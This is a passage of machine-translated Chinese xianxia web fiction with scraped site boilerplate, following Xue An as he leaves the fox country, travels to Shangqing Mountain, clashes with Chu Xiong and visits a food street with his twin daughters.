    Fox night: "..."


    Then he mumbled dissatisfiedly: "Can''t it be a daughter?"


    "A daughter is fine too! But I think it''s choking, because with your virtue, you can still give birth to a daughter?" Xue An said with a smile.


    "Hey, don''t look down on foxes so much, okay? It''s like you can give birth to daughters, maybe I can give birth to twin daughters too!"


    "Well, if you also give birth to twin daughters, I will give you a double gift at that time, what do you think?"


    "A word is settled!"


    "A word is settled!"


    The two looked at each other, then laughed in unison.


    After laughing, Hu Ye approached Xue An and asked in a low voice, "Really, do you really plan to take Ying''er with you this time?"


    Xue An couldn''t laugh or cry, "What''s your name? Why should I take Ying''er with you? You must know that this is her home!"


    Fox Ye looked puzzled, "But Xiaoying doesn''t think so, what will she think if you really leave like this?"


    Xue An looked at Fox Ye strangely, and then said with a faint smile: "Fox Ye, really, I want to take her away, won''t you be afraid? You know you were always afraid of me to you. What''s wrong with my sister!"


    Hu Ye smiled bitterly, "It was then, and now is now. I know you are not that kind of person, and..."


    Hu Ye looked up and down Xue An a few times, "If you are my brother-in-law, you are actually pretty good."


    "Fuck you." Xue An scolded with a smile, and then said sternly: "I think it''s better not to let Ying''er know about this in advance. You can tell her when we are gone!"


    Hearing Xue An��s words, Hu Ye��s face was bitter, "But who can persuade her, you don��t know her temper, what if you get irritated and run away from home?" Little Snail Chinese Net


    Xue An was just about to speak.


    At this moment, a faint voice came from outside the house.


    "Don''t worry, I won''t!"


    Both of them were taken aback.


    Then I saw Hu Ying walking in slowly with her head down.


    Her appearance made the atmosphere in the room instantly awkward.


    Huye stood there at a loss, stammering: "Sister, I..."


    Before she finished speaking, Hu Ying raised her head and smiled at him, "Brother, can you go out? I have something to say to Brother Xue."


    Fox Ye Rumeng amnesty, and nodded again and again, "Okay, okay, if you have something to say!"


    With that said, he walked out in a hurry, and didn''t forget to blink at Xue An before leaving the house. That meant you had to persuade her.


    After he left, Hu Ying looked at Xue An with a grimace, and only spoke a long time later.


    "Brother Xue, are you really leaving?"


    Xue An sighed softly, then nodded, "Yes, there are some things to be handled, so I have to leave first."


    "Don''t bring me?" Hu Ying''s voice trembled, tears flickered in her eyes, and she was obviously about to shed tears.


    Xue An naturally heard the cry in her voice, but still cruel, turned his head and said.


    "Ying''er, you have grown up, so you can''t always follow me running around in the sky? And now that your fox ancestor is back, the strength of the Qingqiu fox country is booming, you should stay and practice hard. , Striving for an early breakthrough, this is what you should do!"


    "But if I don''t want any breakthroughs, would I be willing to be by your side?" Hu Ying choked and said.


    Xue An was silent.


    He didn''t know what to say so that he wouldn''t hurt this little girl who grew up watching him.


    But the silence at this time is often more painful than words.


    Hu Ying''s eyes gradually despaired, and finally her face was pale and she lowered her head and said in a low voice: "I understand. To put it bluntly, you just don''t want me, right?"


    Xue An opened his mouth to speak, but Hu Ying shook his head, "Don''t talk about Brother Xue, I know what you want to say."


    Then she raised her head, her pale face was filled with determination, "Brother Xue, I promise you, stay and practice hard."


    Xue An breathed a sigh of relief.


    But then Hu Ying said, "Brother Xue, do you remember what I said to you?"


    "what?"


    Hu Ying smiled miserably I once told you that I will awaken Nine Tails, surpass my brother, and become a Nine Tailed Fox! And your answer to me was good! You also said to wait for that day. "


    Speaking of this, Hu Ying''s eyes are full of expectation, "So... as long as I become a nine-tailed fox, you won''t want me?"


    Xue An suddenly didn''t know how to answer this question.


    He watched Hu Ying grow up. Of course, he didn''t have any other thoughts, but he didn''t want this little girl to sink because of the shock of this incident.


    If it is really like what Fox Ye said, if you run away from home because of this, then your conscience will be disturbed.


    But if you agree...


    Just as he was in a dilemma, a gentle female voice came from behind, "Silly Yinger, of course your Brother Xue won''t want you!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 1901 Parting (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1897： Go to Shangqing Mountain

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Following the voice, An Yan walked into the court, and then took Hu Ying''s hand with pity.


    "Regardless of whether you become a nine-tailed celestial fox or not, your brother Xue will never want you, nor dare to leave you! This is what I said."


    Hu Ying''s tears were dripping like a flood that burst a bank, "But... but you have left me behind now!"


    "Okay, okay, don''t cry, we are just going out this time to get things done, maybe we will be back soon!" An Yan gently persuaded, and then winked at Xue An.


    That means you quickly persuade.


    Upon seeing this, Xue An couldn''t help but sighed, and then said: "Okay, Yinger, don''t cry, I will definitely not leave you behind, is that okay?"


    Hu Ying looked at Xue An with teary eyes, and finally nodded slowly, "Hmm!"


    But when Xue An got up and left, she looked at Xue An''s back, but secretly made up her mind.


    Brother Xue, I will definitely become a nine-tailed celestial fox, even if you want to leave me, it will be impossible!


    Xue An and An Yan left quietly.


    Except for a few people like Huye and Huying, the other fox races don''t even know.


    But when their star boat crossed the Qingqiu star field and disappeared in an instant.


    On the Sansheng Tree, in the White Jade Pagoda.


    Looking at the scene in the water mirror, Hu Huan couldn''t help but sigh.


    "I don''t know what storms will be set off in the heavens. I hope you can find out the real culprit behind the scenes as soon as possible, and the Chinese people back then are fair!"


    Xiaozheng Taihuan on the side also looked at the scene in the water mirror in a daze, and finally couldn''t help but said: "Master, do you think Xue An can succeed here?"


    Huhuan nodded, and said very firmly: "Of course I can!"


    "Why is it so sure? You have to know what he is facing, but even you can''t predict the man behind the scenes!" Hu An asked in confusion.


    "Because he is Red Lotus Immortal Venerable!" Hu Huan said with piercing eyes.


    "But he hasn''t recovered the strength of his heyday? It''s just the fairy king, isn''t it..."


    Hu Huan shook his head, "Disciple, you don''t understand! The reason why he is the unique Red Lotus Immortal Venerable is not only because of his strength, but more importantly, his will."


    "Able to move forward without fear even knowing the danger ahead. This kind of demeanor, even though thousands of people are going for it, is the reason why he can become the Red Lotus Immortal Venerable."


    Speaking of this, Hu Huan sighed slightly, "It is because of lack of this will that I have been trapped in the fairy emperor, unable to take that final step!"


    Just as Huhuan sighed.


    Above the star boat, Xiao Sha asked in doubt: "Master, where are we going?"


    "Yes, boss, why not let Sister Ying follow along?" Zhang Xiaoyu asked with red eyes.


    It was only after she got on the Xingzhou that she knew that Hu Ying was not traveling with her. She cried at the time, and she cried very sadly.


    Not to mention that Hu Ying often "bullies" Zhang Xiaoyu, but the relationship between the two has been inseparable after such a long time together.


    As soon as Hu Ying left, Zhang Xiaoyu was naturally full of discomfort.


    Xue An smiled, "This time I will take you to a big show!"


    "Huge fun?"


    "Yes!"


    But Zhang Xiaoyu was even more sad when he heard the words, "Then why is it that it is a big excitement but does not let Sister Ying follow? She likes watching the excitement the most!"


    As soon as she finished speaking, Xiao Sha raised her hand and knocked her on the head, "Where is so much nonsense? The master must have his reason for not bringing Sister Ying with her."


    Zhang Xiaoyu covered his head with tears, but did not dare to speak.


    Xue An smiled when she saw it, "Okay, Xiaosha, Xiaoyu didn''t say anything wrong. The reason why she didn''t bring Ying''er was because Qingqiu Fox Country was her home, and she couldn''t run around all day. Right!"


    While talking, Xingzhou slowly slowed down, and then stopped in the void. 678 Fiction


    Immediately afterwards, Xingzhou opened the hatch, and then Mu Wushuang, the saint of Slaughter Temple, walked in.


    Her appearance made Xiaosha nervous in an instant, and subconsciously blocked her thinking and thinking.


    On the contrary, these two little girls looked innocent and looked at Mu Wushuang very curiously.


    Mu Wushuang greeted Xue An respectfully, "My lord!"


    Xue An nodded and said faintly: "Should I go directly to Shangqingshan or go back to your Slaughter Temple first?"


    Mu Wushuang shook his head, "I have all the seals of the Slaughter Temple with me, so I don''t have to go back."


    "Okay, let''s go directly to Shangqingshan!"


    After all, Xingzhou slowly turned its direction, accelerated suddenly, directly smashed through the void and disappeared in place.


    Shangqingshan.


    As the name suggests, it is a mountain.


    But among the heavens, this name refers more to the sect of Shangqingshan.


    As a veteran Xukong Dajiao, the history of Shangqingshan can even be traced back to ancient times.


    Although during the period of ups and downs, it has always stood firm.


    The Qianzong Xuanhui was held at Prajna Peak in Shangqing Mountain.


    Shangqing Mountain is at least half a month away from the Yaozu territory where Xue An and others are now.


    And this is still under the circumstance of rushing to the road with all strength, a short delay may take a month, which shows how far the distance is.


    Therefore, Xue An did not delay, and directly drove the Xingzhou to the direction of Shangqingshan at the fastest speed.


    On the way.


    Mu Wushuang took out a seal and said to Xue An very solemnly: "My lord, since I want to pretend to be a disciple of the Temple of Slaughter, I can only wrong you first."


    Xue An nodded, "Okay! Come on."


    Mu Wushuang took a deep breath, released his hands, and the seal was suspended in the air.


    Then her hands opened like lotus flowers, and a set of extremely complicated and dazzling hand decisions were made.


    In an instant, the seal released a thousand rays of light, and then slowly rose to the top of Xue An''s head.


    A gleam of light enveloped Xue An and concealed his figure.


    Mu Wushuang couldn''t help but breathe a sigh of relief.


    But only a moment later, there was a bursting sound in this seal, and then cracks appeared.


    Mu Wushuang was shocked and looked at the court in disbelief, "How is it possible? How could the seal break?"


    But even though she didn''t believe it, the fact still happened.


    In an instant, this seal, which symbolized the authority of the Slaughter Temple, completely shattered and turned into powder.


    The light burst soon and then quickly converged without a trace.


    Then Xue An slowly walked out of it, and smiled at Mu Wushuang with a dull face.


    "Sorry, your seal seems to be broken!"


    While talking, Xue An''s whole person began to change.


    There was a slight change in his face, his eyebrows seemed to have become narrower, and there was a hint of holiness in his eyes.


    At the same time, the temperament has also changed a little, no longer as gentle as jade, but a lot more sloppy.


    Although these changes are very subtle, but combined, Xue An''s whole person has undergone earth-shaking changes.


    Unless it is someone who knows Xue An very well, it will never be possible to recognize him again.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1902 to Shangqingshan (third more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1898： Purple Mist City

    "Wow, the boss is changing alive?" Zhang Xiaoyu murmured in shock.


    As soon as the voice fell, Xiao Sha patted her on the head, "Don''t talk nonsense! The master is obviously pretending to confuse others, understand?"


    Zhang Xiaoyu shook his head, "I don''t understand!"


    "Just know you don''t understand, so why not shut your mouth quickly?"


    Zhang Xiaoyu immediately closed her mouth obediently, and stood behind Xiaosha not daring to speak.


    It''s just that she is now much taller than Xiaosha, who is like little Lolita, so when she stands so shyly, the picture is so funny and funny.


    At this time, Mu Wushuang also awoke from the shock, and said, "If it is broken, it will be broken, as long as the adult is successful!"


    Although she consumed a seal, her tone was full of joy.


    Because this just proves how terrifying Xue An''s strength is.


    Otherwise, it will not just put a stamp on it and blow up the seal.


    At this time, the two little girls, thinking and niannian, approached with curiosity, but some did not dare to step forward.


    Xue An smiled when he saw this, "Why? Don''t you know Dad?"


    "Wow, Dad, it''s really you, you look so handsome now!" Nian said with eyes full of little stars.


    No matter when, this little girl will always be a loyal admirer of Xue An.


    Compared to thinking about it, you have to be calmer, and even calmly said: "Nonsense, when is Dad not handsome?"


    Everyone in Xingzhou was amused by these two little girls.


    Xue An laughed even more, then bent over to hug the two daughters, "You two little guys, it''s really dumbfounding!"


    "Hey!"


    The two little girls hugged Xue An''s neck and giggled for a while, then thought about it and said, "Dad, how long will we have to walk?"


    "Don''t worry, you will be here soon!" Xue An said with a smile, while looking at the fast passing stars beyond the porthole.


    If you expand the star map of the heavens, you will find that this is an oval world.


    The Shangqing Mountain is located in the upper left corner of the heavens. Because it is adjacent to the central star sea, the geographical position is very important, which makes it extremely prosperous.


    Among other things, there are countless sects of all sizes, and Shangqingshan is the undoubted boss of this star field.


    Because of the proximity of the Qianzong Xuanhui, the already prosperous Shangqing Star Region became more and more lively.


    Every day there are countless star boats coming, and the sects from all sides are coming, even the air is filled with a smell of anxiety and excitement.


    But to say the most prosperous and lively, it is the closest to Shangqing Mountain, and it is also the place where business roads must pass. It is known as the first city in the northwestern sky.


    This city is named because of the purple spiritual fog that often appears in the sky. It is a rare sacred place for cultivation, but it is the Shangqing Mountain that really makes it famous, because this is where the Shangqing Mountain is located in the ordinary land. .


    The combination of these factors has resulted in an extremely prosperous city.


    As long as you can think of things in the heavens, you can buy them here.


    At this moment, because of the Thousand Sect Profound Society, the number of visitors in Purple Mist City has increased several times in a short period of time.


    For a while, the streets were full of powerful people from all sides. Someone joked that if you throw a brick on the street, you can hit at least three true immortal-level powerful people. What an unprecedented grand occasion.


    Of course, those who are truly qualified to participate in the Qianzong Profound Society will naturally not appear on the street.


    As early as a few years ago, Shangqingshan built hundreds of guesthouses and stations to welcome this event.


    Every sect descendant who came here to participate in the Qianzong Xuanhui will be properly placed here.


    Every day, there are countless young people stopping in front of these guesthouses, and then looking at these magnificent, heavenly buildings with incomparably enviable eyes, secretly making up their minds to redouble their efforts to fight for the thousands. Have a place in the Xuanhui.


    In this frenetic atmosphere, the void of the Shangqing star field suddenly rippled, and then the Xingzhou of Xue An and others slammed out of it.


    "Huh, it''s finally here! My lord, the Purple Mist City of Shangqingshan is ahead!" Mu Wushuang said with excitement.


    Xue An only glanced lightly at the huge planet outside the porthole, and then cast his gaze on the huge mountain as high as a pillar in the distance.


    This big mountain stands in the depths of the void. It does not know how high it is above it, and how deep it is below it, just like a pillar of heaven before the beginning of heaven and earth, which is daunting.


    Even so far apart, you can still feel the awe-inspiring power from this mountain.


    Xue An''s eyes narrowed slightly.


    Shangqingshan!


    finally reached!


    Xue An had been here in the previous life, but did not enter Shangqing Mountain in the end.


    In this life, Xue An will enter the mountains and tie the "Jiaolong" with his hands.


    "My lord!" Mu Wushuang noticed Xue An''s strangeness and couldn''t help but yelled softly.


    Xue An narrowed his gaze, then took a deep breath and said lightly: "Let''s go, enter the city."


    "Yes!"


    Mu Wushuang was manipulating Xingzhou for more than half a month, so after hearing Xue An''s instructions, she manipulated Xingzhou to turn around.


    But just as the Xingzhou slowly turned and was about to accelerate forward, the void in front of him was suddenly smashed into a big hole, and then a plane was more than a few miles long, golden in color and full of sharp barbs. Xingzhou flew out of it.


    The appearance of this star ark seemed to have been deliberately arranged, and it happened to be blocking the front of Xue An and their star ark.


    Seeing that he was about to hit him, Mu Wushuang''s body was shocked, and then he forced the Xingzhou to stop with his spiritual thoughts.


    Xingzhou shuddered Because of inertia, Xiaosha couldn''t help but rushed forward a few steps.


    As for Zhang Xiaoyu, because of the lightest weight and the weakest strength, he was flew out and fell to a solid body.


    Mu Wushuang couldn''t help but snorted, his face pale, and he obviously suffered some minor injuries.


    Everyone couldn''t help being angry now.


    Especially Xiao Sha, she was furious.


    "Fuck, this guy did it on purpose? Will he drive a star boat?"


    But at this moment, the star boat seemed to be very proud of its behavior, deliberately shaking its tail a few times, and then flew forward arrogantly.


    Xiaosha was even more angry when he saw this.


    A dignified color appeared in Mu Wushuang''s eyes, and then he whispered to Xue An, "My lord, if I admit that I am not mistaken, the star boat just now was the car of Chu Xiong, the descendant of Flying Tiger Hall."


    "Oh? Feihutang? Are they here too?" Xue An''s eyes lit up and said lightly.

 Chapter 1899： What makes you feel qualified to follow me...

    "Yes, although this Feihutang is still not up to the standards of Void Master, its strength has grown extremely rapidly in recent years, especially this Chu Xiong, who is known as the most talented person in Feihutang since a thousand years, so the last time He was invited to participate in the Thousand Sect Profound Society."


    Speaking of this, Mu Wushuang''s expression was a bit solemn, "Above the last Thousand Sect Profound Society, this Chu Xiong used extremely brutal means to kill three opponents, and finally achieved a relatively good term, Yubang Zhizhi Shang is ranked 78th and is a very strong opponent."


    Xue An smiled, "No wonder it''s so arrogant!"


    Mu Wushuang said solemnly: "Yes, so you must be more careful when you meet him, after all... the strength of Feihutang should not be underestimated."


    Mu Wushuang''s explanation is very detailed, the purpose of which is to give Xue An a deeper impression.


    But Xue An just smiled slightly at this, "Okay, I know! Let''s go, watching this purple fog city is so lively, holding back on the star boat for so long, just go down to relax."


    Mu Wushuang hesitated to speak, but finally lowered his head and responded softly: "Yes!"


    This distance was naturally fleeting for Xingzhou, and soon it came to the sky above the Guest House Post, and then slowly landed on the dedicated parking lot.


    This huge parking lot is also very lively now.


    But seeing the star boat parked here is dazzling, all in any shape.


    Some are as large as a mountain with a length of more than a hundred miles, some are small and exquisite and can only accommodate two people, and there are even all kinds of rare birds and animals.


    For example, a giant beast with a body length of hundreds of feet, pure white color, golden eyes, and first-born unicorn is a famous golden-eyed water avoider.


    This kind of beast is extremely rare and rare, and its strength is comparable to that of the Da Luo strong, and it is generally used by the major sects to make the mountain beast.


    But now it is being used to pull a cart like a cow or horse. This can no longer be described as a violent thing, it is simply showing off.


    Mu Wushuang explained softly beside Xue An: "My lord, that golden-eyed water-saving beast is the exclusive car of Prince Luo Rongjin of the East Palace of the Human Emperor Palace. It seems that he is also here."


    Xue An smiled indifferently, but when he heard the three words Renhuangdian, his eyes flashed, and then he stepped off the Xingzhou.


    At this moment, Xue An had asked An Yan to take his two daughters, Xiao Sha Chan''er and others into the Fubao Xiaolou, so now he and Mu Wushuang are the only two.


    Just as the two of them got off the star boat and were about to go to the guesthouse post, there was a loud sneer not far away.


    "Yeah, isn''t this Saint Mu Dasheng? It turned out that you were on this starship just now."


    As he spoke, he saw a burly man who was over five feet tall and came by.


    The man wore a pair of trousers made of tiger skin, but his upper body was naked, revealing his rock-solid muscles, and on his chest he was embroidered with a red flying tiger with fierce eyes. .


    It is Chu Xiong, the direct descendant of Feihutang.


    After seeing him, Mu Wushuang''s complexion changed slightly, and a faint anger appeared in his eyes, but soon he lowered his eyes and said in a low voice, "It turns out that it is Hall Master Chu, Wushuang is polite!"


    At this time, Mu Wushuang had already put on a veil, even so, she could still see her beautiful and refined face.


    When Chu Xiong saw this, a look of greed appeared in his eyes, and then he glanced at Xue An.


    At this time, Xue An''s breath had been perfectly hidden, he naturally couldn''t see any clues, so after taking a look, he sneered.


    "Tsk tusk, but I don''t know who this man is? Could it be Saint Mu Da''s..."


    He didn''t say what it was, but judging from the narrow smile on his face and the deliberately elongated tone of voice, he knew it wouldn''t be a good thing.


    A look of anger appeared on Mu Wushuang''s face, but he quickly suppressed it, and said coldly: "This is my new direct disciple from the Temple of Slaughter, that is, my little junior, what''s the matter? Do you care about this?"


    "Little Junior Brother?" Chu Xiong glanced at Xue An again and found that he did have the unique mark of Slaughter Temple. He couldn''t help but believe these words, and then he giggled.


    "It turned out to be so, so it''s not an outsider! I''m really embarrassed about what happened just now, I thought where the waste came from opening the star boat, slowly swallowing it, I can''t wait! "


    The anger on Mu Wushuang''s face became heavier when he heard that, as he was about to speak.


    Xue An chuckled, "It doesn''t matter, anyway, I''m not in a hurry. After all, people who are anxious about everything may be more anxious than others to die."


    As soon as he said this, Chu Xiong''s expression instantly darkened.


    "what did you say?"


    Xue An smiled faintly, "Did you not hear what I said? Do you want me to repeat it again?"


    "You..." Chu Xiong, who was irritable by nature, couldn''t bear this breath, and he was about to break out in a rage.


    At this moment, Mu Wushuang said coldly: "Chu Xiong, I think you''d better figure out what you are doing. If you do it privately here, be careful of your qualifications to participate."


    Chu Xiong calmed down instantly after hearing this.


    Knowing that there are so many people participating in the Qianzong Profound Society, it is hard to guarantee that there will be no enemies in it. In order to avoid unnecessary casualties, it is strictly forbidden to fight in private before the Profound Society is held.


    If there is any violation, the qualification to participate will be cancelled directly.


    Despite this, Chu Xiong''s eyes were still full of killing intent, staring at Xue An, and then sneered gloomily.


    "Boy, it''s luck for you this time. I hope you can still be so arrogant when you reach the Xuanhui."


    With that, he stretched out his palm and made a handshake gesture.


    Xue looked at him quietly.


    When Chu Xiong saw this, he was sneered, "What? Don''t you even dare to shake my hand?"


    Xue An''s mouth gradually raised, revealing a cold smile, "What makes you think you are qualified to shake hands with me?"


    After that, Xue An turned to Mu Wushuang and said, "Let''s go."


    Then he turned around and left.


    Mu Wushuang gave Chu Xiong a deep look, and then left.


    Chu Xiong stood there, and after a while, an infinite resentment appeared in his eyes The order passed on, and I was staring at the two people in the Slaughter Temple! "


    "understand!"


    There were orders to leave.


    Then Chu Xiong said coldly: "A **** dare to pretend to be garlic in front of me, do you really think it can be done if you find a foreign aid?"


    "Wait until this profound meeting, let''s see how I clean up you two!"


    And in the guesthouse station, there are many people who peeped at this scene in secret.


    "Tsk tusk, I didn''t expect the people of Slaughter Temple to dare to participate in this Thousand Sect Profound Meeting!" Someone sneered.


    "It looks like a foreign aid was hired, otherwise Mu Wushuang would not dare to be so arrogant."


    "Unfortunately, it''s just an ordinary strong man, and it doesn''t play any role at all."


    "That''s right, I dare to offend the young hall master of Feihutang. It is estimated that the Slaughter Temple will cost blood."

 Chapter 1900： Its a big thought and miss

    There is no sun or moon in the entire Shangqing star field, but Ziwu City still has day and night points.


    All this is because of the large Yanguang array spreading over the entire purple fog city.


    When this formation emits bright white light, it is daytime, and when the white light disperses and changes into shining light, it is night.


    This form of day and night changes is not uncommon among the heavens.


    Because not every planet can have the sun and the moon like the earth.


    Although this formation can be illuminated constantly, and the absence of day and night alternation has no effect on these monks.


    However, due to the nature of the human race, people still habitually adjust the formations out of night and day.


    At this moment, when Xue An and the others had just settled down, the lights were beginning to shine outside the window, and the noise and laughter were faintly heard in the distance.


    The thoughts and misses that have already walked out of the Fubao Xiaolou are so excited when they hear this sound.


    "Dad Dad, we are going out to play!"


    "Yes, I''m going to eat delicious food!" Nian Nian almost drooled.


    Upon seeing this, Xue An couldn''t help laughing: "Okay, let''s go now."


    As he said, he looked at Mu Wushuang, "Go together?"


    Mu Wushuang hesitated slightly.


    If you follow her instructions, it''s better not to go anywhere, just wait at the guesthouse to start the conference.


    Seeing what Xue An looked like now, she also knew that persuasion was impossible, so she gritted her teeth secretly.


    "Okay! But adults, there are many people outside, if you are going with your wife and children, you''d better...you can also pretend to be."


    Xue An smiled, did not say anything, just waved casually.


    A spell was imposed on An Yan and the two little girls.


    "Is this all right?" Xue An said lightly.


    Mu Wushuang was shocked.


    Because of such a simple action, An Yan and the two little girls changed their appearances.


    Although still very delicate and beautiful, both his temperament and appearance have changed a lot.


    "Okay, let''s go!"


    With that, Xue An took the hands of two little girls, and walked out of the guesthouse station with An Yan.


    The Guest House is close to the prosperous area of ??Ziwu City, so when you go out, it is a very lively long street.


    The shops on both sides of the street are lined up, and the goods sold are even more dazzling.


    Walking on the street, the pedestrians passing by are simply bizarre, all dressed up, but without exception, they are all strong people with good cultivation.


    Although it cannot be said that there are as many real immortals as dogs, and Luo walks everywhere, but they are not far behind.


    Occasionally, there are even half-step immortal king-level powerhouses riding in carts carried by manpower, and screaming past people''s heads.


    All in all, only by standing here will you understand what is called Void Dajiao and what is called a land of prosperous stars.


    Xue An led everyone along the long street.


    Along the way, the eyes of these two little girls were almost running out, and the little heads turned around, looking at everything very fresh.


    "Wow, Dad, the man in front is so tall!" Nian Nian exclaimed.


    "It''s a giant race, of course it''s taller."


    "What''s the one next to it? It''s jumping like a ball."


    As soon as the voice fell, the "ball" walking in front suddenly turned around and said viciously: "Little girl, you can see clearly, I am not a ball!"


    "Wow! So cute!" Niannian couldn''t help but said with a bright light.


    Because the person speaking is not only round head and brain, but also chubby and swollen all over his body. With his beard and staring expression, it is really cute and tight.


    This person was stunned by the words he read, and then he fell into a dilemma.


    Be angry, they are not malicious, they are still boasting themselves.


    Don''t be angry, how awkward to hear this.


    In the end he stomped his foot fiercely, turned around and walked away.


    "Dad, how did Uncle Qiuqiu go?"


    As soon as this remark came out, this dear who had just walked out almost fell to the ground, paused, and then speeded up and fled.


    Xue An couldn''t help but smiled and touched Niannian''s head, "Niannian, that''s not a ball, that''s a fat goblin."


    "Goblin?"


    "Yes, it''s a goblin! This is a very special race, and it can be considered a mutated human race." Xue An explained.


    But Niannian��s focus was not on this at all, she saw her eyes shining brightly and muttered: "Wow, it sounds so delicious."


    Xue An: "..."


    Think about it: "..."


    In the end, I still think about taking the lead in knocking Nian Nian''s head, "You pighead, you know how to eat all day long!"


    Niannian touched her head in a grievance, pouting her lips and said, "What qualifications do you have to say about me? When there is something delicious, don''t you eat less?"


    A touch of embarrassment appeared on the face of the thought, and then his face became stern, "Because I am a sister, I am qualified to say you."


    "Why? You were only born six minutes earlier than me!"


    "What''s wrong with being born six minutes earlier? Even if I was born one minute earlier, I am also your sister. If you have the ability, you should come out earlier!" Think about it with pride.


    "Hmph, I''ll ignore you again!" Nian Nian turned her head angrily, not ideal.


    "Ignore it, who is rare!" Thinking about it, he turned his face very proudly.


    Upon seeing this, Xue An and An Yan couldn''t help but glance at each other, and then An Yan sighed helplessly.


    "Oh, these two girls are really bigger and less worrying. Now I have to fight a dozen like this every day, which makes my head bigger!"


    Xue An laughed, "If you quarrel, do you have any brothers and sisters who don''t quarrel?"


    "The point is that the two of them still do it sometimes!"


    "Do it?"


    "Yeah! The kind of holding each other''s braids and not letting go."


    As soon as the voice fell, I don''t know who moved the hand first. Just on this street, Xiangxiang and Niannian pulled each other''s braids and looked at each other "viciously".


    "Let go!" This is to think about it.


    "You loosen first!" This is to read Why should I loosen first? "


    "Because you are my elder sister!" said Nian Nian, wrinkling her nose and "opening her teeth and dancing claws".


    "You just didn''t admit that I was your sister?" Think about it and show no weakness.


    "I don''t care, you have to let go first." Nian Nian was entangled.


    "If you are loose, I will be loose again!" Think about it.


    "Why do I loosen you again, not when you loosen me again?" Nian-nian spoke of tongue twisters.


    And this is ridiculous, and at the same time cute enough to explode, it also attracted the attention of many people on the street.


    "Wow, they are actually twins!"


    "Hey, there was a fight, really interesting!"


    Xue An was even more dumbfounded, and waved his hand and said: "Okay, well, listen to me, I said let go, and then you two let go together, okay?"

 Chapter 1901： How much did he eat from you, I gave it! ...

    "Yeah!" The two little girls nodded together.


    "let go!"


    At this time, the two little girls let go of their hands, and then they all grieved and moved closer to Xue An.


    "Dad, sister bullied me!"


    "Dad, it''s obviously my sister who bullied me!"


    Then the two little girls raised their heads together, looking at Xue An with teary eyes, waiting for his ruling.


    Xue An: "..."


    Even facing the strong immortal emperor, Xue An has never had such a headache.


    At this moment, An Yan faintly said from the side: "Now you know how I feel? I play a dozen games like this every day, and I have to be the referee. If I change it, I have to be a big head!"


    Xue An smiled bitterly, "Understood!"


    Then he had an idea, raised his hand and pointed to the front, "Hey, I miss you, I seem to smell the fragrance coming from the front, it should be delicious, let''s go and take a look!"


    When they heard something delicious, the two little girls instantly threw the grievances in their hearts out of the clouds, and happily followed Xue An and ran forward.


    An Yan looked at the cheerful back of the three of them, and couldn''t help showing a faint smile.


    At this moment, Mu Wushuang walked up to her and said softly, "Madam, I really envy you, you have a good husband who is unique in the heavens!"


    An Yan smiled like a flower, "Thank you!"


    After that, he quickly followed up.


    Xue An didn''t lie, he did smell the fragrance.


    So when they walked through this long street and turned a corner, a food street filled with the aroma of various dishes appeared in front of them.


    On both sides of the street are restaurants and restaurants next to each other.


    At this moment, it was dinner time, the whole street could be described as brightly lit, and the business of every restaurant was extremely hot.


    Standing at the corner of the street, you can hear the sound of coveting and eating in the restaurant.


    The saliva of thinking and thinking is about to flow out.


    Xue An couldn''t help smiling when he saw this, and then led the two daughters into it.


    Not only the restaurant, but there are many different kinds of snacks on the roadside.


    "Let��s take a look at the freshly baked frog ham. A woman can keep her youth if she eats it, a child can rejuvenate and increase her intelligence if she eats it, an old man can live longer and prolong his life, and a guy can be suave after eating it!"


    "Mom, I want to eat dragon blood tofu, eat it, eat large pieces, is it enough? Enough, thank you mom!"


    "Shendu Roast Duck, carefully selected wild day ducks in Shengchi, the elixir is fed big, the skin is crispy and the meat is tender, you can add a year of skill after eating it!"


    "��������."


    The sound of screams one after another, and the variety of snacks is even more dazzling.


    Before taking a few steps, the two little girls already had a lot of branches and branches in their hands, and then they feasted on them.


    An Yan and Mu Wushuang also carried a cage of steamed buns made of mutton.


    Xue An is naturally no exception. He tasted a bunch of snacks. Although the taste is average, this street snack often has a unique flavor that the restaurant and restaurant do not have.


    "Is it delicious?" Xue An asked with a smile.


    The two little girls ate the grease on their faces, and they didn''t care about talking, they just nodded.


    "Don''t eat too much, Dad will take you to a big meal later!"


    "Hmm!"


    The group continued to walk inside.


    The further you go in, the more magnificent and magnificent the restaurant and restaurant on the side of the road, and the higher the grade.


    When they came to the center of the street, a towering jade building stood in the middle.


    That''s right!


    The whole building is carved with exquisite jade, and when illuminated by the light, it emits a magical and colorful light.


    An Yan couldn''t help but be speechless at this level of luxury.


    She wouldn''t be like that even if it was a golden building, but after being with Xue An for so long, she naturally knew that fine jade was much more valuable to a monk than gold.


    Because fine jade is extremely versatile, it is an essential material in practice.


    The restaurant in front of me is actually made of fine jade, which cost more than hundreds of millions.


    Xue An only smiled faintly when he saw it, then looked at the plaque of the building and said softly: "Baiyu Tower."


    Mu Wushuang leaned forward and lowered his voice and said, "My lord, this white jade building is the leading restaurant in Ziwu City. The owner behind the scenes is an elder from Shangqingshan. Those who can get in and out not only need to be rich, but also must You must have a very prominent identity."


    Xue An nodded slightly and said lightly: "I can see it."


    Because just when they were talking, several Huaguang flew directly to the front, and after they showed their figure, they were all young and powerful men with splendid clothes and arrogant faces.


    After these people appeared, a waiter immediately led them in, and the whole process was very rapid.


    In addition, even passers-by avoided the open space in front of the white jade building, as if they were afraid of getting into trouble.


    "It looks good, let''s eat here!" After that, Xue An stepped in.


    Mu Wushuang was shocked, just about to stop.


    At this moment, I heard someone scolding in Baiyu Lou.


    "Did you fool into our Baiyu Lou? I think you really have enough life!"


    After all, a strong man dragged a person out of the white jade building with a full face of anger, and then directly threw the person to the ground.


    This person was wearing a shabby moon-white gown. He couldn''t see his face on the ground, and he didn''t even move after being thrown to the ground.


    "Huh? Are you pretending to be dead here? Do you think that the food has been eaten in your stomach, we can''t help you?" The strong man sneered, then raised his hand.


    "Call me."


    With an order, a dozen Tsing Yi servants rushed up like wolves.


    Although they are servants, all of these people also have the strength of a quasi-golden fairy.


    This group of people started without mercy, their fists hit this person like raindrops, making a popping sound, as if the flesh and blood were hammered.


    But despite this, this person still didn''t move, not even saying a word.


